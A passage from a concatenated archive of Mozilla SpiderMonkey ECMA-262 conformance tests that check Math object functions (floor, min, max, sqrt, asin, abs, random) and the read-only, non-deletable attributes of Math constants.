Math.cos(-Math.PI) ); new TestCase( SECTION, "Math.cos(-5*Math.PI/4)", -Math.SQRT2/2, Math.cos(-5*Math.PI/4) ); new TestCase( SECTION, "Math.cos(-3*Math.PI/2)", 0, Math.cos(-3*Math.PI/2) ); new TestCase( SECTION, "Math.cos(-7*Math.PI/4)", Math.SQRT2/2, Math.cos(-7*Math.PI/4) ); new TestCase( SECTION, "Math.cos(-Math.PI*2)", 1, Math.cos(-Math.PI*2) ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.3-2.js0000664000175000017500000000205712106270663020340 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.3-3.js ECMA Section: 15.8.1.3.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Math.LN2 Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.3-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.LN2"; writeHeaderToLog( SECTION + " "+ TITLE); var MATH_LN2 = 0.6931471805599453; new TestCase( SECTION, "delete(Math.LN2)", false, eval("delete(Math.LN2)") ); new TestCase( SECTION, "delete(Math.LN2); Math.LN2", MATH_LN2, eval("delete(Math.LN2); Math.LN2") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.6-1.js0000664000175000017500000000161012106270663020334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.6-1.js ECMA Section: 15.8.1.6.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Math.PI Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.6-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.PI"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.PI=0; Math.PI", 3.1415926535897923846, eval("Math.PI=0; Math.PI") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.9.js0000664000175000017500000000751112106270663020210 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.9.js ECMA Section: 15.8.2.9 Math.floor(x) Description: return the greatest number value that is not greater than the argument and is equal to a mathematical integer. if the number is already an integer, return the number itself. special cases: - if x is NaN return NaN - if x = +0 return +0 - if x = -0 return -0 - if x = Infinity return Infinity - if x = -Infinity return -Infinity - if ( -1 < x < 0 ) return -0 also: - the value of Math.floor(x) == -Math.ceil(-x) Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.9"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.floor(x)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.floor.length", 1, Math.floor.length ); new TestCase( SECTION, "Math.floor()", Number.NaN, Math.floor() ); new TestCase( SECTION, "Math.floor(void 0)", Number.NaN, Math.floor(void 0) ); new TestCase( SECTION, "Math.floor(null)", 0, Math.floor(null) ); new TestCase( SECTION, "Math.floor(true)", 1, Math.floor(true) ); new TestCase( SECTION, "Math.floor(false)", 0, Math.floor(false) ); new TestCase( SECTION, "Math.floor('1.1')", 1, Math.floor("1.1") ); new TestCase( SECTION, "Math.floor('-1.1')", -2, Math.floor("-1.1") ); new TestCase( SECTION, "Math.floor('0.1')", 0, Math.floor("0.1") ); new TestCase( SECTION, "Math.floor('-0.1')", -1, Math.floor("-0.1") ); new TestCase( SECTION, "Math.floor(NaN)", Number.NaN, Math.floor(Number.NaN) ); new TestCase( SECTION, "Math.floor(NaN)==-Math.ceil(-NaN)", false, Math.floor(Number.NaN) == -Math.ceil(-Number.NaN) ); new TestCase( SECTION, "Math.floor(0)", 0, Math.floor(0) ); new TestCase( SECTION, "Math.floor(0)==-Math.ceil(-0)", true, Math.floor(0) == -Math.ceil(-0) ); new TestCase( SECTION, "Math.floor(-0)", -0, Math.floor(-0) ); new TestCase( SECTION, "Infinity/Math.floor(-0)", -Infinity, Infinity/Math.floor(-0) ); new TestCase( SECTION, "Math.floor(-0)==-Math.ceil(0)", true, Math.floor(-0)== -Math.ceil(0) ); new TestCase( SECTION, "Math.floor(Infinity)", Number.POSITIVE_INFINITY, Math.floor(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.floor(Infinity)==-Math.ceil(-Infinity)", true, Math.floor(Number.POSITIVE_INFINITY) == -Math.ceil(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.floor(-Infinity)", Number.NEGATIVE_INFINITY, Math.floor(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.floor(-Infinity)==-Math.ceil(Infinity)", true, Math.floor(Number.NEGATIVE_INFINITY) == -Math.ceil(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.floor(0.0000001)", 0, Math.floor(0.0000001) ); new TestCase( SECTION, "Math.floor(0.0000001)==-Math.ceil(0.0000001)", true, Math.floor(0.0000001)==-Math.ceil(-0.0000001) ); new TestCase( SECTION, "Math.floor(-0.0000001)", -1, Math.floor(-0.0000001) ); new TestCase( SECTION, "Math.floor(0.0000001)==-Math.ceil(0.0000001)", true, Math.floor(-0.0000001)==-Math.ceil(0.0000001) ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.12.js0000664000175000017500000000616112106270663020262 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.12.js ECMA Section: 15.8.2.12 Math.min(x, y) Description: return the smaller of the two arguments. special cases: - if x is NaN or y is NaN return NaN - if x < y return x - if y > x return y - if x is +0 and y is +0 return +0 - if x is +0 and y is -0 return -0 - if x is -0 and y is +0 return -0 - if x is -0 and y is -0 return -0 Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.12"; var VERSION = "ECMA_1"; var TITLE = "Math.min(x, y)"; var BUGNUMBER="76439"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.min.length", 2, Math.min.length ); new TestCase( SECTION, "Math.min()", Infinity, Math.min() ); new TestCase( SECTION, "Math.min(void 0, 1)", Number.NaN, Math.min( void 0, 1 ) ); new TestCase( SECTION, "Math.min(void 0, void 0)", Number.NaN, Math.min( void 0, void 0 ) ); new TestCase( SECTION, "Math.min(null, 1)", 0, Math.min( null, 1 ) ); new TestCase( SECTION, "Math.min(-1, null)", -1, Math.min( -1, null ) ); new TestCase( SECTION, "Math.min(true, false)", 0, Math.min(true,false) ); new TestCase( SECTION, "Math.min('-99','99')", -99, Math.min( "-99","99") ); new TestCase( SECTION, "Math.min(NaN,0)", Number.NaN, Math.min(Number.NaN,0) ); new TestCase( SECTION, "Math.min(NaN,1)", Number.NaN, Math.min(Number.NaN,1) ); new TestCase( SECTION, "Math.min(NaN,-1)", Number.NaN, Math.min(Number.NaN,-1) ); new TestCase( SECTION, "Math.min(0,NaN)", Number.NaN, Math.min(0,Number.NaN) ); new TestCase( SECTION, "Math.min(1,NaN)", Number.NaN, Math.min(1,Number.NaN) ); new TestCase( SECTION, "Math.min(-1,NaN)", Number.NaN, Math.min(-1,Number.NaN) ); new TestCase( SECTION, "Math.min(NaN,NaN)", Number.NaN, Math.min(Number.NaN,Number.NaN) ); new TestCase( SECTION, "Math.min(1,1.0000000001)", 1, Math.min(1,1.0000000001) ); new TestCase( SECTION, "Math.min(1.0000000001,1)", 1, Math.min(1.0000000001,1) ); new TestCase( SECTION, "Math.min(0,0)", 0, Math.min(0,0) ); new TestCase( SECTION, "Math.min(0,-0)", -0, Math.min(0,-0) ); new TestCase( SECTION, "Math.min(-0,-0)", -0, Math.min(-0,-0) ); new TestCase( SECTION, "Infinity/Math.min(0,-0)", -Infinity, Infinity/Math.min(0,-0) ); new TestCase( SECTION, "Infinity/Math.min(-0,-0)", -Infinity, Infinity/Math.min(-0,-0) ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.7-2.js0000664000175000017500000000205612106270663020343 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.7-2.js ECMA Section: 15.8.1.7.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Math.SQRT1_2 Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.7-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.SQRT1_2"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete Math.SQRT1_2; Math.SQRT1_2", 0.7071067811865476, eval("delete Math.SQRT1_2; Math.SQRT1_2") ); new TestCase( SECTION, "delete Math.SQRT1_2", false, eval("delete Math.SQRT1_2") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8-2-n.js0000664000175000017500000000260012106270663020265 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8-2.js ECMA Section: 15.8 The Math Object Description: The Math object is merely a single object that has some named properties, some of which are functions. The value of the internal [[Prototype]] property of the Math object is the Object prototype object (15.2.3.1). The Math object does not have a [[Construct]] property; it is not possible to use the Math object as a constructor with the new operator. The Math object does not have a [[Call]] property; it is not possible to invoke the Math object as a function. Recall that, in this specification, the phrase "the number value for x" has a technical meaning defined in section 8.5. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.8-2-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Math Object"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "MYMATH = new Math()"; EXPECTED = "error"; new TestCase( SECTION, "MYMATH = new Math()", "error", eval("MYMATH = new Math()") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.14.js0000664000175000017500000000227612106270663020267 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.14.js ECMA Section: 15.8.2.14 Math.random() returns a number value x with a positive sign with 1 > x >= 0 with approximately uniform distribution over that range, using an implementation-dependent algorithm or strategy. This function takes no arguments. Description: Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.2.14"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.random()"; writeHeaderToLog( SECTION + " "+ TITLE); for ( var item = 0; item < 100; item++ ) { var testcase = new TestCase( SECTION, "Math.random()", "pass", null ); testcase.reason = Math.random(); testcase.actual = "pass"; if ( ! ( testcase.reason >= 0) ) { testcase.actual = "fail"; } if ( ! (testcase.reason < 1) ) { testcase.actual = "fail"; } } test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.1-2.js0000664000175000017500000000200712106270663020331 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.1-2.js ECMA Section: 15.8.1.1.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Math.E Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.E"; writeHeaderToLog( SECTION + " "+ TITLE); var MATH_E = 2.7182818284590452354 new TestCase( SECTION, "delete(Math.E)", false, eval("delete Math.E") ); new TestCase( SECTION, "delete(Math.E); Math.E", MATH_E, eval("delete Math.E; Math.E") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.17.js0000664000175000017500000000714212106270663020267 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.17.js ECMA Section: 15.8.2.17 Math.sqrt(x) Description: return an approximation to the squareroot of the argument. special cases: - if x is NaN return NaN - if x < 0 return NaN - if x == 0 return 0 - if x == -0 return -0 - if x == Infinity return Infinity Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.17"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.sqrt(x)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.sqrt.length", 1, Math.sqrt.length ); new TestCase( SECTION, "Math.sqrt()", Number.NaN, Math.sqrt() ); new TestCase( SECTION, "Math.sqrt(void 0)", Number.NaN, Math.sqrt(void 0) ); new TestCase( SECTION, "Math.sqrt(null)", 0, Math.sqrt(null) ); new TestCase( SECTION, "Math.sqrt(true)", 1, Math.sqrt(1) ); new TestCase( SECTION, "Math.sqrt(false)", 0, Math.sqrt(false) ); new TestCase( SECTION, "Math.sqrt('225')", 15, Math.sqrt('225') ); new TestCase( SECTION, "Math.sqrt(NaN)", Number.NaN, Math.sqrt(Number.NaN) ); new TestCase( SECTION, "Math.sqrt(-Infinity)", Number.NaN, Math.sqrt(Number.NEGATIVE_INFINITY)); new TestCase( SECTION, "Math.sqrt(-1)", Number.NaN, Math.sqrt(-1)); new TestCase( SECTION, "Math.sqrt(-0.5)", Number.NaN, Math.sqrt(-0.5)); new TestCase( SECTION, "Math.sqrt(0)", 0, Math.sqrt(0)); new TestCase( SECTION, "Math.sqrt(-0)", -0, Math.sqrt(-0)); new TestCase( SECTION, "Infinity/Math.sqrt(-0)", -Infinity, Infinity/Math.sqrt(-0) ); new TestCase( SECTION, "Math.sqrt(Infinity)", Number.POSITIVE_INFINITY, Math.sqrt(Number.POSITIVE_INFINITY)); new TestCase( SECTION, "Math.sqrt(1)", 1, Math.sqrt(1)); new TestCase( SECTION, "Math.sqrt(2)", Math.SQRT2, Math.sqrt(2)); new TestCase( SECTION, "Math.sqrt(0.5)", Math.SQRT1_2, Math.sqrt(0.5)); new TestCase( SECTION, "Math.sqrt(4)", 2, Math.sqrt(4)); new TestCase( SECTION, "Math.sqrt(9)", 3, Math.sqrt(9)); new TestCase( SECTION, "Math.sqrt(16)", 4, Math.sqrt(16)); new TestCase( SECTION, "Math.sqrt(25)", 5, Math.sqrt(25)); new TestCase( SECTION, "Math.sqrt(36)", 6, Math.sqrt(36)); new TestCase( SECTION, "Math.sqrt(49)", 7, Math.sqrt(49)); new TestCase( SECTION, "Math.sqrt(64)", 8, Math.sqrt(64)); new TestCase( SECTION, "Math.sqrt(256)", 16, Math.sqrt(256)); new TestCase( SECTION, "Math.sqrt(10000)", 100, Math.sqrt(10000)); new TestCase( SECTION, "Math.sqrt(65536)", 256, Math.sqrt(65536)); new TestCase( SECTION, "Math.sqrt(0.09)", 0.3, Math.sqrt(0.09)); new TestCase( SECTION, "Math.sqrt(0.01)", 0.1, Math.sqrt(0.01)); new TestCase( SECTION, "Math.sqrt(0.00000001)", 0.0001, Math.sqrt(0.00000001)); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8-3-n.js0000664000175000017500000000256312106270663020276 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8-3.js ECMA Section: 15.8 The Math Object Description: The Math object is merely a single object that has some named properties, some of which are functions. The value of the internal [[Prototype]] property of the Math object is the Object prototype object (15.2.3.1). The Math object does not have a [[Construct]] property; it is not possible to use the Math object as a constructor with the new operator. The Math object does not have a [[Call]] property; it is not possible to invoke the Math object as a function. Recall that, in this specification, the phrase "the number value for x" has a technical meaning defined in section 8.5. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.8-3-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Math Object"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "MYMATH = Math()"; EXPECTED = "error"; new TestCase( SECTION, "MYMATH = Math()", "error", eval("MYMATH = Math()") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.2-1.js0000664000175000017500000000161512106270663020335 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.2-1.js ECMA Section: 15.8.2.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Math.LN10 Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.LN10"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.LN10=0; Math.LN10", 2.302585092994046, eval("Math.LN10=0; Math.LN10") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.3.js0000664000175000017500000000546612106270663020211 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.3.js ECMA Section: 15.8.2.3 asin( x ) Description: return an approximation to the arc sine of the argument. the result is expressed in radians and range is from -PI/2 to +PI/2. special cases: - if x is NaN, the result is NaN - if x > 1, the result is NaN - if x < -1, the result is NaN - if x == +0, the result is +0 - if x == -0, the result is -0 Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.asin()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.asin()", Number.NaN, Math.asin() ); new TestCase( SECTION, "Math.asin(void 0)", Number.NaN, Math.asin(void 0) ); new TestCase( SECTION, "Math.asin(null)", 0, Math.asin(null) ); new TestCase( SECTION, "Math.asin(NaN)", Number.NaN, Math.asin(Number.NaN) ); new TestCase( SECTION, "Math.asin('string')", Number.NaN, Math.asin("string") ); new TestCase( SECTION, "Math.asin('0')", 0, Math.asin("0") ); new TestCase( SECTION, "Math.asin('1')", Math.PI/2, Math.asin("1") ); new TestCase( SECTION, "Math.asin('-1')", -Math.PI/2, Math.asin("-1") ); new TestCase( SECTION, "Math.asin(Math.SQRT1_2+'')", Math.PI/4, Math.asin(Math.SQRT1_2+'') ); new TestCase( SECTION, "Math.asin(-Math.SQRT1_2+'')", -Math.PI/4, Math.asin(-Math.SQRT1_2+'') ); new TestCase( SECTION, "Math.asin(1.000001)", Number.NaN, Math.asin(1.000001) ); new TestCase( SECTION, "Math.asin(-1.000001)", Number.NaN, Math.asin(-1.000001) ); new TestCase( SECTION, "Math.asin(0)", 0, Math.asin(0) ); new TestCase( SECTION, "Math.asin(-0)", -0, Math.asin(-0) ); new TestCase( SECTION, "Infinity/Math.asin(-0)", -Infinity, Infinity/Math.asin(-0) ); new TestCase( SECTION, "Math.asin(1)", Math.PI/2, Math.asin(1) ); new TestCase( SECTION, "Math.asin(-1)", -Math.PI/2, Math.asin(-1) ); new TestCase( SECTION, "Math.asin(Math.SQRT1_2))", Math.PI/4, Math.asin(Math.SQRT1_2) ); new TestCase( SECTION, "Math.asin(-Math.SQRT1_2))", -Math.PI/4, Math.asin(-Math.SQRT1_2)); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.1.js0000664000175000017500000001057612106270663020205 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.1.js ECMA Section: 15.8.2.1 abs( x ) Description: return the absolute value of the argument, which should be the magnitude of the argument with a positive sign. - if x is NaN, return NaN - if x is -0, result is +0 - if x is -Infinity, result is +Infinity Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.1"; var VERSION = "ECMA_1"; var TITLE = "Math.abs()"; var BUGNUMBER = "77391"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.abs.length", 1, Math.abs.length ); new TestCase( SECTION, "Math.abs()", Number.NaN, Math.abs() ); new TestCase( SECTION, "Math.abs( void 0 )", Number.NaN, Math.abs(void 0) ); new TestCase( SECTION, "Math.abs( null )", 0, Math.abs(null) ); new TestCase( SECTION, "Math.abs( true )", 1, Math.abs(true) ); new TestCase( SECTION, "Math.abs( false )", 0, Math.abs(false) ); new TestCase( SECTION, "Math.abs( string primitive)", Number.NaN, Math.abs("a string primitive") ); new TestCase( SECTION, "Math.abs( string object )", Number.NaN, Math.abs(new String( 'a String object' )) ); new TestCase( SECTION, "Math.abs( Number.NaN )", Number.NaN, Math.abs(Number.NaN) ); new TestCase( SECTION, "Math.abs(0)", 0, Math.abs( 0 ) ); new TestCase( SECTION, "Math.abs( -0 )", 0, Math.abs(-0) ); new TestCase( SECTION, "Infinity/Math.abs(-0)", Infinity, Infinity/Math.abs(-0) ); new TestCase( SECTION, "Math.abs( -Infinity )", Number.POSITIVE_INFINITY, Math.abs( Number.NEGATIVE_INFINITY ) ); new TestCase( SECTION, "Math.abs( Infinity )", Number.POSITIVE_INFINITY, Math.abs( Number.POSITIVE_INFINITY ) ); new TestCase( SECTION, "Math.abs( - MAX_VALUE )", Number.MAX_VALUE, Math.abs( - Number.MAX_VALUE ) ); new TestCase( SECTION, "Math.abs( - MIN_VALUE )", Number.MIN_VALUE, Math.abs( -Number.MIN_VALUE ) ); new TestCase( SECTION, "Math.abs( MAX_VALUE )", Number.MAX_VALUE, Math.abs( Number.MAX_VALUE ) ); new TestCase( SECTION, "Math.abs( MIN_VALUE )", Number.MIN_VALUE, Math.abs( Number.MIN_VALUE ) ); new TestCase( SECTION, "Math.abs( -1 )", 1, Math.abs( -1 ) ); new TestCase( SECTION, "Math.abs( new Number( -1 ) )", 1, Math.abs( new Number(-1) ) ); new TestCase( SECTION, "Math.abs( 1 )", 1, Math.abs( 1 ) ); new TestCase( SECTION, "Math.abs( Math.PI )", Math.PI, Math.abs( Math.PI ) ); new TestCase( SECTION, "Math.abs( -Math.PI )", Math.PI, Math.abs( -Math.PI ) ); new TestCase( SECTION, "Math.abs(-1/100000000)", 1/100000000, Math.abs(-1/100000000) ); new TestCase( SECTION, "Math.abs(-Math.pow(2,32))", Math.pow(2,32), Math.abs(-Math.pow(2,32)) ); new TestCase( SECTION, "Math.abs(Math.pow(2,32))", Math.pow(2,32), Math.abs(Math.pow(2,32)) ); new TestCase( SECTION, "Math.abs( -0xfff )", 4095, Math.abs( -0xfff ) ); new TestCase( SECTION, "Math.abs( -0777 )", 511, Math.abs(-0777 ) ); new TestCase( SECTION, "Math.abs('-1e-1')", 0.1, Math.abs('-1e-1') ); new TestCase( SECTION, "Math.abs('0xff')", 255, Math.abs('0xff') ); new TestCase( SECTION, "Math.abs('077')", 77, Math.abs('077') ); new TestCase( SECTION, "Math.abs( 'Infinity' )", Infinity, Math.abs('Infinity') ); new TestCase( SECTION, "Math.abs( '-Infinity' )", Infinity, Math.abs('-Infinity') ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.11.js0000664000175000017500000000764512106270663020271 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.11.js ECMA Section: 15.8.2.11 Math.max(x, y) Description: return the smaller of the two arguments. special cases: - if x is NaN or y is NaN return NaN - if x < y return x - if y > x return y - if x is +0 and y is +0 return +0 - if x is +0 and y is -0 return -0 - if x is -0 and y is +0 return -0 - if x is -0 and y is -0 return -0 Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.11"; var VERSION = "ECMA_1"; var TITLE = "Math.max(x, y)"; var BUGNUMBER="76439"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.max.length", 2, Math.max.length ); new TestCase( SECTION, "Math.max()", -Infinity, Math.max() ); new TestCase( SECTION, "Math.max(void 0, 1)", Number.NaN, Math.max( void 0, 1 ) ); new TestCase( SECTION, "Math.max(void 0, void 0)", Number.NaN, Math.max( void 0, void 0 ) ); new TestCase( SECTION, "Math.max(null, 1)", 1, Math.max( null, 1 ) ); new TestCase( SECTION, "Math.max(-1, null)", 0, Math.max( -1, null ) ); new TestCase( SECTION, "Math.max(true, false)", 1, Math.max(true,false) ); new TestCase( SECTION, "Math.max('-99','99')", 99, Math.max( "-99","99") ); new TestCase( SECTION, "Math.max(NaN, Infinity)", Number.NaN, Math.max(Number.NaN,Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.max(NaN, 0)", Number.NaN, Math.max(Number.NaN, 0) ); new TestCase( SECTION, "Math.max('a string', 0)", Number.NaN, Math.max("a string", 0) ); new TestCase( SECTION, "Math.max(NaN, 1)", Number.NaN, Math.max(Number.NaN,1) ); new TestCase( SECTION, "Math.max('a string',Infinity)", Number.NaN, Math.max("a string", Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.max(Infinity, NaN)", Number.NaN, Math.max( Number.POSITIVE_INFINITY, Number.NaN) ); new TestCase( SECTION, "Math.max(NaN, NaN)", Number.NaN, Math.max(Number.NaN, Number.NaN) ); new TestCase( SECTION, "Math.max(0,NaN)", Number.NaN, Math.max(0,Number.NaN) ); new TestCase( SECTION, "Math.max(1, NaN)", Number.NaN, Math.max(1, Number.NaN) ); new TestCase( SECTION, "Math.max(0,0)", 0, Math.max(0,0) ); new TestCase( SECTION, "Math.max(0,-0)", 0, Math.max(0,-0) ); new TestCase( SECTION, "Math.max(-0,0)", 0, Math.max(-0,0) ); new TestCase( SECTION, "Math.max(-0,-0)", -0, Math.max(-0,-0) ); new TestCase( SECTION, "Infinity/Math.max(-0,-0)", -Infinity, Infinity/Math.max(-0,-0) ); new TestCase( SECTION, "Math.max(Infinity, Number.MAX_VALUE)", Number.POSITIVE_INFINITY, Math.max(Number.POSITIVE_INFINITY, Number.MAX_VALUE) ); new TestCase( SECTION, "Math.max(Infinity, Infinity)", Number.POSITIVE_INFINITY, Math.max(Number.POSITIVE_INFINITY,Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.max(-Infinity,-Infinity)", Number.NEGATIVE_INFINITY, Math.max(Number.NEGATIVE_INFINITY,Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.max(1,.99999999999999)", 1, Math.max(1,.99999999999999) ); new TestCase( SECTION, "Math.max(-1,-.99999999999999)", -.99999999999999, Math.max(-1,-.99999999999999) ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.6-2.js0000664000175000017500000000200512106270663020334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.6-2.js ECMA Section: 15.8.1.6.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Math.PI Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.6-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.PI"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete Math.PI; Math.PI", 3.1415926535897923846, eval("delete Math.PI; Math.PI") ); new TestCase( SECTION, "delete Math.PI; Math.PI", false, eval("delete Math.PI") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.4-1.js0000664000175000017500000000162412106270663020337 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ 